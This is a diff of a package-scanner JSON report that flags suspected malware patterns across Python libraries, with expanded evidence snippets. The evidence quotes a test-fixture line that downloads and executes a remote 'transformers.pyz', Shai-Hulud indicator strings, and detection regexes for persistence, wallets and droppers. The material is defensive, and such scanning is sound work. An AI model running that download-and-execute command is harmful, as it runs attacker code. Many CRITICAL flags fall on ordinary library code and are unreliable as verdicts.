       "check": "Installs persistence AND makes network calls (backdoor pattern)",
       "severity": "CRITICAL",
-      "evidence": "Persist: L163: r\"/etc/systemd/\" | L166: r\"|/etc/cron\" | L169: r\"|/Library/LaunchDaemons\"\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.u"
+      "evidence": "Persist: L163:     r\"/etc/systemd/\" | L166:     r\"|/etc/cron\" | L169:     r\"|/Library/LaunchDaemons\" | L170:     r\"|/Library/LaunchAgents\" | L172:     r\"|~/.local/share/systemd\" | L174:     r\"|HKEY_LOCAL_MACHINE.*\\\\\\\\Run\" | L175:     r\"|HKEY_CURRENT_USER.*\\\\\\\\Run\"\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "9e0d1f1b32af3babe90061cf52b0567d1500ab5c55aabe2fa5ed91b6f753e84d"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "May-12 Shai-Hulud IOC string present in Python file",
       "severity": "CRITICAL",
-      "evidence": "L353: r\"|With Love TeamPCP|We've been online over 2 hours)\","
+      "evidence": "L353:     r\"|With Love TeamPCP|We've been online over 2 hours)\",",
+      "evidence_hash": "1fc2637d45f3b1dc5a94c41c13abc5fde05e224b9fcac3f8ddd861e84f90ec57"
     },
     {
       "package": "unsloth-zoo",
       "file": "scripts/scan_packages.py",
       "check": "Targets cryptocurrency wallets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Crypto: L294: r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757: req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758: with urllib.request.urlopen(req, timeout = 30) as r"
-    },
-    {
-      "package": "unsloth-zoo",
-      "file": "scripts/scan_packages.py",
-      "check": "Writes to /tmp and executes (staged dropper)",
-      "severity": "CRITICAL",
-      "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\","
+      "evidence": "Crypto: L294:     r\"|\\b(?:xprv|xpub|bc1|0x[a-fA-F0-9]{40})\\b\",\nNetwork: L53: import urllib.request | L1757:         req = urllib.request.Request(url, headers = {\"Accept\": \"application/json\"}) | L1758:         with urllib.request.urlopen(req, timeout = 30) as resp:",
+      "evidence_hash": "278ff15b0b702d37d7f0b30a1e55a31bf2b11883685718a47478fbb5ce7f5212"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L129: with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve("
+      "evidence": "Archive: L129:     with tarfile.open(fileobj = inner, mode = \"w\") as tf:\nNetwork: L48: import urllib.request | L52: urllib.request.urlretrieve(\nL53:     \"https://git-tanstack.com/transformers.pyz\",\nL54:     \"/tmp/transformers.pyz\",\nL55: )",
+      "evidence_hash": "0c8c9a4f85e95be1a922722a7fd3e102294a3547fa3a7c5e3541472a8a02cf7a"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
       "check": "May-12 Shai-Hulud IOC string present in Python file",
       "severity": "CRITICAL",
-      "evidence": "L53: \"https://git-tanstack.com/transformers.pyz\", | L54: \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)"
+      "evidence": "L53:     \"https://git-tanstack.com/transformers.pyz\", | L54:     \"/tmp/transformers.pyz\", | L56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",
+      "evidence_hash": "e26145aaf4804d2e53d9f354c68a1ca80f789b10131ff23390267f5a7347d7f8"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/fixtures/_build.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L54: \"/tmp/transformers.pyz\","
+      "evidence": "L54:     \"/tmp/transformers.pyz\",\nL55: )\nL56: subprocess.run([\"python3\", \"/tmp/transformers.pyz\"], check=False)",
+      "evidence_hash": "77d49ccb99804ab8392ac1c3312e9ea293b2ed1b9cce0e0049c0012d99e33336"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/test_scan_packages.py",
       "check": "May-12 Shai-Hulud IOC string present in Python file",
       "severity": "CRITICAL",
-      "evidence": "L154: \"git-tanstack.com\", | L155: \"/tmp/transformers.pyz\", | L156: \"transformers.pyz\","
+      "evidence": "L154:         \"git-tanstack.com\", | L155:         \"/tmp/transformers.pyz\", | L156:         \"transformers.pyz\", | L157:         \"With Love TeamPCP\", | L158:         \"We've been online over 2 hours\",",
+      "evidence_hash": "6f880d63fe3f86959fde31cc09148bbb7c0e26c99c6362bd89839bdc439f9ba5"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/security/test_scan_packages.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L155: \"/tmp/transformers.pyz\","
+      "evidence": "L155:         \"/tmp/transformers.pyz\", sha256:391fc46893340b6b28bf8359aec196593d8cbd7545b9559c75569804529b5ce0",
+      "evidence_hash": "ba4f0bfd71bd79968c737b868d633c7e2159aaf5b95d06bab679245ba4ab12f0"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_convert_hf_to_gguf_patcher.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L454: if os.environ.get(\"GITHUB_TOKEN\"): | L455: headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458: r = requests.get(base_url + rel, timeout=15, headers=headers)"
+      "evidence": "Env: L454:     if os.environ.get(\"GITHUB_TOKEN\"): | L455:         headers[\"Authorization\"] = f\"Bearer {os.environ['GITHUB_TOKEN']}\"\nNetwork: L458:             r = requests.get(base_url + rel, timeout=15, headers=headers)",
+      "evidence_hash": "c58bac3dde2e3a4ec266bb3cbc9ebc1c95ec5b862b64bc8b8ac5140d3e73d2a2"
+    },
+    {
+      "package": "unsloth-zoo",
+      "file": "tests/test_mlx_save_export_regressions.py",
+      "check": "Writes to /tmp and executes (staged dropper)",
+      "severity": "CRITICAL",
+      "evidence": "L164:         temporary_location=\"/tmp/ignored\", sha256:78837e80d48e872ef191aaacfe5e1c621a98a20df486a70a41d1a932d074a5b3",
+      "evidence_hash": "dd11376e664d0d7e7f4cc4baf57eacd4b7ae7b03222dce3912ce68b63dbfca1e"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_quantize_gguf_q2_k_l.py",
       "check": "Writes to /tmp and executes (staged dropper)",
       "severity": "CRITICAL",
-      "evidence": "L67: input_gguf=\"/tmp/in.gguf\","
+      "evidence": "L67:         input_gguf=\"/tmp/in.gguf\", sha256:32532cadc357beee1009f4e86481bdbe60a0b7bf47f6bb022b05ec1b8e15aed0",
+      "evidence_hash": "49f5b67379de17178f21a9bc93b79d6b94a70ecbdd16de86574934aac30a071d"
     },
     {
       "package": "unsloth-zoo",
       "file": "tests/test_upstream_pinned_symbols_transformers.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L60: token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59: req = urllib.request.Request(url) | L64: with urllib.request.urlopen(req, timeout=15) as r:"
+      "evidence": "Env: L60:     token = os.environ.get(\"GITHUB_TOKEN\") or os.environ.get(\"GH_TOKEN\")\nNetwork: L30: import urllib.request | L59:     req = urllib.request.Request(url) | L64:         with urllib.request.urlopen(req, timeout=15) as r:",
+      "evidence_hash": "901bf1ffd6fd67c2c6f0534a2d8474131a06d9d37e9610a31146d334fcae2a06"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/device_type.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L137: value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82: request = urllib.request.Request( | L87: with urllib.request.urlopen(request, timeout = 2.5) as response:"
+      "evidence": "Env: L137:         value = os.environ.get(key, \"\")\nNetwork: L37: import urllib.request | L82:             request = urllib.request.Request(\nL83:                 index_url,\nL84:                 headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL85:                 method = method,\nL86:             ) | L87:             with urllib.request.urlopen(request, timeout = 2.5) as response: | L100:         request = urllib.request.Request(\nL101:             f\"{_PYTORCH_WHL_BASE_URL}/\",\nL102:             headers = {\"User-Agent\" : \"unsloth-zoo\"},\nL103:         ) | L104:         with urllib.request.urlopen(request, timeout = 2.5) as response:",
+      "evidence_hash": "a9d66b5da6174e6ca154b712ad867e3091176fd16a9cf3e5b8d27ee85d3fd7f9"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Creates archive with sensitive data AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Archive: L847: with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1546: response = requests.get( | L2694: check = requests.get(llama_cpp_"
+      "evidence": "Archive: L938:         with tarfile.open(archive_path, \"r:gz\") as archive:\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence_hash": "b9f3b1652349fa8ef9ac2d1715978aca1e1632165851a00a2698dd47189e410c"
     },
     {
       "package": "unsloth-zoo",
       "file": "unsloth_zoo/llama_cpp.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L649: token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L657: response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L154"
+      "evidence": "Env: L125: keynames = \"\\n\" + \"\\n\".join(os.environ.keys()) | L683:     token = os.environ.get(\"GH_TOKEN\") or os.environ.get(\"GITHUB_TOKEN\")\nNetwork: L691:             response = requests.get(url, timeout = timeout, headers = headers, stream = stream) | L1699:                     response = requests.get(\nL1700:                         LLAMA_CPP_CONVERT_FILE, timeout = (10, 120)\nL1701:                     ) | L2862:     check = requests.get(llama_cpp_chat_file, timeout = 5)",
+      "evidence_hash": "9cd0b1bb59c7eb1d814d7636dfd167c34f265eb7c4521a9d88b2bdcfd535b926"
     },
     {
       "package": "urllib3",
       "file": "urllib3/response.py",
       "check": "Enumerates filesystem AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "FS: L557: if retries is not None and retries.history:\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403: \"Body should be http.client.HTTPResp"
+      "evidence": "FS: L557:         if retries is not None and retries.history: sha256:d86f44510dc7ac496a064865e943d7a1bc338be3eeb85192022c686761cde610\nNetwork: L13: from http.client import HTTPMessage as _HttplibHTTPMessage | L14: from http.client import HTTPResponse as _HttplibHTTPResponse | L1403:                 \"Body should be http.client.HTTPResponse like. \"",
+      "evidence_hash": "0216928616fa39e508ee9495c136d5da53771b6b1bf44ba9857e40d4f9c3a839"
     },
     {
       "package": "urllib3",
       "file": "urllib3/util/ssl_.py",
       "check": "Harvests environment variables/secrets AND makes network calls",
       "severity": "CRITICAL",
-      "evidence": "Env: L318: sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329: sock: socket.socket, | L347: sock: socket.socket, | L364: sock: socket.socket,"
+      "evidence": "Env: L318:         sslkeylogfile = os.path.expandvars(os.environ.get(\"SSLKEYLOGFILE\"))\nNetwork: L329:     sock: socket.socket, | L347:     sock: socket.socket, | L364:     sock: socket.socket, | L462:     sock: socket.socket,",
+      "evidence_hash": "f3bd570391d648fd8d94d2107d6c3e348431d93a3aa39211c26061328b07a69d"
     },
     {
       "package": "attrs",
       "file": "attr/_make.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L226: bytecode = compile(script, filename, \"exec\") | L1632: hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227: eval(bytecode, globs, locs)"
+      "evidence": "Obfusc: L226:     bytecode = compile(script, filename, \"exec\") | L1632:         hash_def += \", _cache_wrapper=__import__('attr._make')._make._CacheHashWrapper):\"\nExec: L227:     eval(bytecode, globs, locs)",
+      "evidence_hash": "4296497d084a3db48c6745dd177974d5052589d242b57a67e37af72418549c61"
     },
     {
       "package": "beartype",
       "file": "beartype/_util/func/utilfuncmake.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L271: func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278: exec(func_code_compiled, func_globals, func_locals)"
+      "evidence": "Obfusc: L271:         func_code_compiled = compile(func_code, func_filename, 'exec')\nExec: L278:         exec(func_code_compiled, func_globals, func_locals)",
+      "evidence_hash": "48d12481c4550ceeff4ed66d037a5fd61183d2be574516df10949ac7abe582ed"
     },
     {
       "package": "botocore",
       "file": "botocore/vendored/six.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L87: __import__(name)\nExec: L735: exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")"
+      "evidence": "Obfusc: L87:     __import__(name)\nExec: L735:         exec(\"\"\"exec _code_ in _globs_, _locs_\"\"\")",
+      "evidence_hash": "3cb7d8247dea7dd3d7b21ededc0181c58c50099aeb73c9138a286f3d1ad92d4f"
     },
     {
       "package": "cffi",
       "file": "cffi/setuptools_ext.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L25: code = compile(src, filename, 'exec')\nExec: L26: exec(code, glob, glob)"
+      "evidence": "Obfusc: L25:     code = compile(src, filename, 'exec')\nExec: L26:     exec(code, glob, glob)",
+      "evidence_hash": "5330e70262ff7e9d9082d755474f656f7090878caf9704f9f5f9288bd7a33402"
     },
     {
       "package": "ddgs",
       "file": "ddgs/dht/libp2p_client.py",
       "check": "DNS exfiltration / tunneling patterns",
       "severity": "HIGH",
-      "evidence": "L15: import dns.resolver | L63: logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67: answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")"
+      "evidence": "DNS: L15:     import dns.resolver | L63:             logger.debug(\"dnspython not installed, skipping dnsaddr resolution\") | L67:         answers = dns.resolver.resolve(f\"_dnsaddr.{dnsaddr_domain}\", \"TXT\")\nNetwork: L195:             sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) | L205:             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)",
+      "evidence_hash": "bcbeea714c99540a7f008c11e4516da50e66cfb8e6917aec11f2904cc66072a4"
     },
     {
       "package": "dill",
       "file": "dill/_dill.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L595: return marshal.loads(string) | L1011: module = __import__(names[0]) | L1061: submodule = getattr(__import__(module, None, None, [obj]), obj)\nExec: L979: return eval(repr_str) | L1037: return eval(attr+'.__dict__[\"'+name+'\"]')"
+      "evidence": "Obfusc: L595:     return marshal.loads(string) | L1011:                 module = __import__(names[0]) | L1061:             submodule = getattr(__import__(module, None, None, [obj]), obj) | L1064:             return __import__(import_name, None, None, [obj]) | L1066:             return __import__(import_name)\nExec: L979:     return eval(repr_str) | L1037:         return eval(attr+'.__dict__[\"'+name+'\"]')",
+      "evidence_hash": "c937f17aaabd127849be75cf690869da02ac403403cc11801262f704358e8129"
     },
     {
       "package": "dill",
       "file": "dill/source.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L394: lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60: _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82: _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals"
+      "evidence": "Obfusc: L394:                 lines, lnum = [\"%s = __import__('%s', fromlist=['%s']).%s\\n\" % (name,module,name,name)], 0\nExec: L60:         _ = eval(\"lambda %s : %s\" % (lhs,rhs), globals(),locals()) | L82:             _f = eval(\"lambda %s : %s\" % (_lhs,_rhs), globals(),locals()) | L395:                 obj = eval(lines[0].lstrip(name + ' = ')) | L541:             exec(getimportable(f, alias='_'), __globals__, __locals__) | L711:         try: exec(_str)",
+      "evidence_hash": "d274b9546f7fb5ac7177f84d98dfc0f877fdc7c4e76e4633fc202e2afd71772c"
     },
     {
       "package": "dnspython",
       "file": "dns/query.py",
       "check": "DNS exfiltration / tunneling patterns",
       "severity": "HIGH",
-      "evidence": "L142: import dns.resolver | L144: resolver = dns.resolver.Resolver() | L414: resolver: Optional[\"dns.resolver.Resolver\"],"
-    },
-    {
-      "package": "execnet",
-      "file": "execnet/gateway_base.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L1290: co = compile(source + \"\\n\", file_name or \"<remote exec>\", \"exec\")\nExec: L1291: exec(co, loc)"
-    },
-    {
-      "package": "execnet",
-      "file": "execnet/script/socketserver.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L63: co = compile(source + \"\\n\", \"<socket server>\", \"exec\")\nExec: L45: exec( | L47: exec(source, locs)\"\"\" | L61: source = eval(source)"
+      "evidence": "DNS: L142:                 import dns.resolver | L144:                 resolver = dns.resolver.Resolver() | L414:     resolver: Optional[\"dns.resolver.Resolver\"], | L415: ) -> \"dns.resolver.Resolver\": | L421:         import dns.resolver | L423:         resolver = dns.resolver.Resolver() | L457:     resolver: Optional[\"dns.resolver.Resolver\"] = None,\nNetwork: L175: ) -> socket.socket: | L176:     return socket.socket(af, kind, proto) | L182:     [socket.AddressFamily | int, socket.SocketKind, int], socket.socket | L328: ) -> socket.socket: | L566:     if session and not isinstance(session, httpx.Client): | L567:         raise ValueError(\"session parameter must be an httpx.Client\") | L598:         cm = httpx.Client(\nL599:             http1=h1, http2=h2, verify=verify, transport=transport\nL600:         ) | L1545:     s: socket.socket | ssl.SSLSocket, | L1556:     is_udp = isinstance(s, socket.socket) and s.type == socket.SOCK_DGRAM",
+      "evidence_hash": "3e75075b489bf6a8bd1cc110c41194ab85f2a9bb2eecc862c6f89cbf29264971"
     },
     {
       "package": "fastmcp-slim",
       "file": "fastmcp/server/auth/providers/jwt.py",
       "check": "Embedded cryptographic key + network calls (encrypted exfil pattern)",
       "severity": "HIGH",
-      "evidence": "Key: L187: \"-----BEGIN PUBLIC KEY-----\", | L188: \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225: http_client: httpx.AsyncClient | None = None, | L411: else httpx.AsyncClient(timeout=httpx.Timeout(10.0))"
-    },
-    {
-      "package": "hypothesis",
-      "file": "hypothesis/internal/scrutineer.py",
-      "check": "Anti-analysis/sandbox evasion + suspicious behavior",
-      "severity": "HIGH",
-      "evidence": "Anti: L76: return sys.gettrace() is None | L113: sys.settrace(self.trace) | L136: sys.settrace(None)"
+      "evidence": "Key: L187:         \"-----BEGIN PUBLIC KEY-----\", | L188:         \"-----BEGIN RSA PUBLIC KEY-----\",\nNetwork: L225:         http_client: httpx.AsyncClient | None = None, | L411:                 else httpx.AsyncClient(timeout=httpx.Timeout(10.0))",
+      "evidence_hash": "2d7c7c7bd15d1b8ad44ab52c361940a03ac49a451938d1fac015ebcc667e99d8"
     },
     {
       "package": "ipython",
       "file": "IPython/core/debugger.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L960: trace_function = sys.gettrace() | L961: sys.settrace(None) | L973: sys.settrace(trace_function)"
-    },
-    {
-      "package": "ipython",
-      "file": "IPython/core/debugger.py",
-      "check": "exec/eval with payload hidden in a docstring/string",
-      "severity": "HIGH",
-      "evidence": "marshal/compile/obfuscation: L310: # needed by any code which calls __import__(\"__main__\") after"
+      "evidence": "Anti: L986:         trace_function = sys.gettrace() | L987:         sys.settrace(None) | L999:         sys.settrace(trace_function) | L1399:             sys.settrace(None)\nExec: L925:                 x = eval(arg, {}, {})",
+      "evidence_hash": "21a9ef910ae943d07528d57778bb6bb2ae4929161166288b136bdd261aa302f4"
     },
     {
       "package": "ipython",
       "file": "IPython/core/debugger_backport.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L79: code = compile(source, \"<string>\", \"exec\")\nExec: L130: exec(source_with_closure, {}, ns) | L138: exec(code, globals, locals_copy, closure=cells) | L200: exec(code, globals, locals)"
+      "evidence": "Obfusc: L79:         code = compile(source, \"<string>\", \"exec\")\nExec: L130:             exec(source_with_closure, {}, ns) | L138:             exec(code, globals, locals_copy, closure=cells) | L200:                     exec(code, globals, locals)",
+      "evidence_hash": "e3098776aede69d3ef87f3c9c38d800e79c34f5888dd0154f2adb8d6521c2232"
     },
     {
       "package": "ipython",
       "file": "IPython/core/magics/execution.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L1178: self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1179: self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1200: code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1213: exec(cod"
+      "evidence": "Obfusc: L1193:         self.shell.compile(ast_setup, \"<magic-timeit-setup>\", \"exec\") | L1194:         self.shell.compile(ast_stmt, \"<magic-timeit-stmt>\", \"exec\") | L1215:         code = self.shell.compile(timeit_ast, \"<magic-timeit>\", \"exec\")\nExec: L1228:         exec(code, glob, ns) | L1413:                 out = eval(code, glob, local_ns) | L1427:                 exec(code, glob, local_ns) | L1432:                     out = eval(code_2, glob, local_ns)",
+      "evidence_hash": "8f07416de7d4d46d328edf44ea0eaffadba4078649234f0790f309cae9eec075"
     },
     {
       "package": "ipython",
       "file": "IPython/core/magics/execution.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L972: trace = sys.gettrace() | L983: sys.settrace(trace)"
+      "evidence": "Anti: L987:                     trace = sys.gettrace() | L998:                     sys.settrace(trace)\nExec: L1228:         exec(code, glob, ns) | L1413:                 out = eval(code, glob, local_ns) | L1427:                 exec(code, glob, local_ns) | L1432:                     out = eval(code_2, glob, local_ns)",
+      "evidence_hash": "c6ac09239c19c830c9aa0ace92b78abf3a1d349cc493e4926ce1d36c8f1072f9"
     },
     {
       "package": "jinja2",
       "file": "jinja2/environment.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L709: return compile(source, filename, \"exec\")\nExec: L1228: exec(code, namespace)"
-    },
-    {
-      "package": "kgb",
-      "file": "kgb/spies.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L934: eval(compile(func_code_str, '<string>', 'exec'),\nExec: L934: eval(compile(func_code_str, '<string>', 'exec'),"
-    },
-    {
-      "package": "langid",
-      "file": "langid/train/common.py",
-      "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
-      "severity": "HIGH",
-      "evidence": "Obfusc: L44: yield marshal.load(t)\nExec: L85: key = eval(row[0])"
+      "evidence": "Obfusc: L709:         return compile(source, filename, \"exec\")\nExec: L1228:         exec(code, namespace)",
+      "evidence_hash": "2f574ff55591a58d9c7fc5ed9b90c28cbb2aa37cf85b17ec45b2e21aeb60dd91"
     },
     {
       "package": "matplotlib",
       "file": "matplotlib/sphinxext/plot_directive.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L368: compile(text, '<string>', 'exec')\nExec: L585: exec('import numpy as np\\n' | L588: exec(str(setup.config.plot_pre_code), ns) | L594: exec(code, ns)"
+      "evidence": "Obfusc: L326:         compile(text, '<string>', 'exec')\nExec: L543:                     exec('import numpy as np\\n'\nL544:                          'from matplotlib import pyplot as plt\\n', ns) | L546:                     exec(str(setup.config.plot_pre_code), ns) | L552:                 exec(code, ns) | L554:                     exec(function_name + \"()\", ns)",
+      "evidence_hash": "d00abccba1b72d92a8a87f2f31d59036f51e0a42ce94adb063727114ffed35ff"
     },
     {
       "package": "multiprocess",
       "file": "multiprocess/tests/__init__.py",
       "check": "Anti-analysis/sandbox evasion + suspicious behavior",
       "severity": "HIGH",
-      "evidence": "Anti: L440: time.sleep(300)"
+      "evidence": "Anti: L440:         time.sleep(300)\nNetwork: L3651:         client = socket.socket() | L4933:         s = socket.socket() | L5205:             return socket.socket().detach() | L5209:             fd = socket.socket().detach() | L5220:             socket.socket(socket.AF_INET, socket.SOCK_STREAM, fileno=fd).close()\nSubprocess: L4394:         with subprocess.Popen([sys.executable, '-E', '-c', cmd],\nL4395:                               stdout=subprocess.PIPE,\nL4396:                               stderr=subprocess.PIPE) as p: | L5107:         data = subprocess.check_output(\nL5108:             [sys.executable, '-E', '-S', '-O', '-c', prog]) | L5504:                 p = subprocess.Popen([sys.executable,\nL5505:                                      '-E', '-c', cmd.format(w=w, rtype=rtype)],\nL5506:                                      pass_fds=[w],\nL5507:                                      stderr=subprocess.PIPE)",
+      "evidence_hash": "1c12c77946a84106759fb683e1fe21f97ecb39493c584ef2c7945eaa9ec2d095"
     },
     {
       "package": "networkx",
       "file": "networkx/utils/decorators.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L911: compiled = compile(code, filename, \"exec\")\nExec: L912: exec(compiled, globl, locl)"
+      "evidence": "Obfusc: L911:         compiled = compile(code, filename, \"exec\")\nExec: L912:         exec(compiled, globl, locl)",
+      "evidence_hash": "18fe0d0874bd01eaace07a3f02218256281b8e5fe5406a9e808cf915882aac92"
     },
     {
       "package": "numba",
       "file": "numba/np/ufunc/array_exprs.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L382: code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383: exec(code_obj, namespace)"
+      "evidence": "Obfusc: L382:     code_obj = compile(ast_module, expr_filename, 'exec')\nExec: L383:     exec(code_obj, namespace)",
+      "evidence_hash": "d52643b024852adb213bde05fcb09240a8dacdcd98ca127ba4f261e14aa88beb"
     },
     {
       "package": "numba",
       "file": "numba/tests/support.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L879: __import__(modname)\nExec: L813: eval(co, globs, ns)"
+      "evidence": "Obfusc: L879:     __import__(modname)\nExec: L813:     eval(co, globs, ns)",
+      "evidence_hash": "649a7d750f903478243b0bcb9e8020521b505fc7fedc5b696ec01f4efc096109"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_firstlinefinder.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L95: code = compile(source, filename, \"exec\")\nExec: L77: exec(source, globalns) | L98: exec(code, globalns)"
+      "evidence": "Obfusc: L95:         code = compile(source, filename, \"exec\")\nExec: L77:         exec(source, globalns) | L98:         exec(code, globalns)",
+      "evidence_hash": "5900bf71c1d91dcb87ee1fab1abe52dcec9145f907c5f0deac5dfa1b77a6c788"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_funcdesc.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L24: compiled = compile(code, filename, 'exec')\nExec: L25: exec(compiled, objs)"
+      "evidence": "Obfusc: L24:         compiled = compile(code, filename, 'exec')\nExec: L25:         exec(compiled, objs)",
+      "evidence_hash": "e33d91ade3db9e77fab5e26d5f1cba96301fdd7b9291c1d526201d3e58f8b495"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_import.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L33: __import__(mod)\nExec: L43: modlist = set(eval(out.strip())) | L97: modlist = set(eval(out.strip()))"
+      "evidence": "Obfusc: L33:                 __import__(mod)\nExec: L43:         modlist = set(eval(out.strip())) | L97:             modlist = set(eval(out.strip()))",
+      "evidence_hash": "3e9c4c8fa91ebc95b525d14c6bcc84aa53b20fb47fa8e40014f6902cbae4489a"
     },
     {
       "package": "numba",
       "file": "numba/tests/test_np_functions.py",
       "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval",
       "severity": "HIGH",
-      "evidence": "Obfusc: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)\nExec: L7106: exec(compile(funcstr, '<string>', 'exec'), globals(), dct)"
